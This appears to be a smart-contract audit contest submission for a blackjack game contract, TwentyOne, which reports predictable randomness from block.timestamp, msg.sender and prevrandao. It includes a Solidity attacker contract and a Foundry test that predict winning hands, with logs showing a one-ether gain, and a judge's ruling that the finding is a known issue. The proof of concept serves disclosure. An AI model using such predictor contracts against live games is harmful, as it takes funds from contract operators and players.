TwentyOne

First Flight #29
Beginner FriendlyGameFiFoundrySolidity
100 EXP
View results
Submission Details
Severity: low
Invalid

Randomness Vulnerability in drawCard and call Function.

Summary

The primary issue stems from generating a pseudo-random index using predictable blockchain inputs, allowing attackers to predict the outcome and gain an unfair advantage.

Vulnerability Details

The drawCard and call function generates a pseudo-random index using the following code:

uint256 randomIndex = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender, block.prevrandao)))
% availableCards[player].length;
uint256 standThreshold =
(uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender, block.prevrandao))) % 5) + 17;

This approach is vulnerable due to the predictability of the inputs used to generate the random index. The attacker can create an attack contract and can predict the result of the drawCard and call function before calling it.

Impact

pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {TwentyOne} from "../src/TwentyOne.sol";
contract TwentyOneAttacker {
TwentyOne twentyOne;
uint256[] availableCards;
uint256[] playersCards;
constructor(address twentyOneAddress) {
twentyOne = TwentyOne(twentyOneAddress);
}
function initializeDeck() internal {
require(availableCards.length == 0, "Player's deck is already initialized");
for (uint256 i = 1; i <= 52; i++) {
availableCards.push(i);
}
}
function drawCard() internal returns (uint256) {
require(availableCards.length > 0, "No cards left to draw for this player");
uint256 randomIndex = uint256(keccak256(abi.encodePacked(block.timestamp, address(this), block.prevrandao)))
% availableCards.length;
uint256 card = availableCards[randomIndex];
availableCards[randomIndex] = availableCards[availableCards.length - 1];
availableCards.pop();
return card;
}
function playersHand() public view returns (uint256) {
uint256 playerTotal = 0;
for (uint256 i = 0; i < playersCards.length; i++) {
uint256 cardValue = playersCards[i] % 13;
if (cardValue == 0 || cardValue >= 10) {
playerTotal += 10;
} else {
playerTotal += cardValue;
}
}
return playerTotal;
}
function startGame() public returns (uint256) {
delete playersCards;
delete availableCards;
initializeDeck();
uint256 card1 = drawCard();
uint256 card2 = drawCard();
playersCards.push(card1);
playersCards.push(card2);
return playersHand();
}
function attack() public returns (bool result) {
uint256 totalValue = startGame();
uint256 standThreshold =
(uint256(keccak256(abi.encodePacked(block.timestamp, address(this), block.prevrandao))) % 5) + 17;
if(totalValue >= 20 && standThreshold < totalValue) {
twentyOne.startGame{value: 1 ether}();
twentyOne.call();
return true;
} else {
return false;
}
}
receive() payable external {}
}
function setUp() public {
twentyOne = new TwentyOne();
twentyOneAttacker = new TwentyOneAttacker(address(twentyOne));
vm.deal(address(twentyOne),10 ether);
vm.deal(address(twentyOneAttacker),10 ether);
vm.deal(player1, 100 ether); // Fund player1 with 10 ether
vm.deal(player2, 10 ether); // Fund player2 with 10 ether
}
function test_Attack() public {
vm.startPrank(player1);
for (uint256 i = 1; i < 1000; i++) {
vm.warp(1732427690 + i);
bool result = twentyOneAttacker.attack();
if (result) {
console.log(address(twentyOneAttacker).balance);
return;
}
}
vm.stopPrank();
}
Logs:
Balance before attack: 10000000000000000000
Balance after attack: 11000000000000000000

Tools Used

Manual Review

Recommendations

To address the vulnerabilities, it is recommended to use a secure randomness provider such as Chainlink VRF (Verifiable Random Function).

Updates

Lead Judging Commences

inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Invalidated
Reason: Known issue
Assigned finding tags:

[INVALID] Known - Randomness

Randomness Manipulation: The randomness mechanism relies on block.timestamp, msg.sender, and block.prevrandao, which may be predictable in certain scenarios. Consider using Chainlink VRF or another oracle for more secure randomness.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.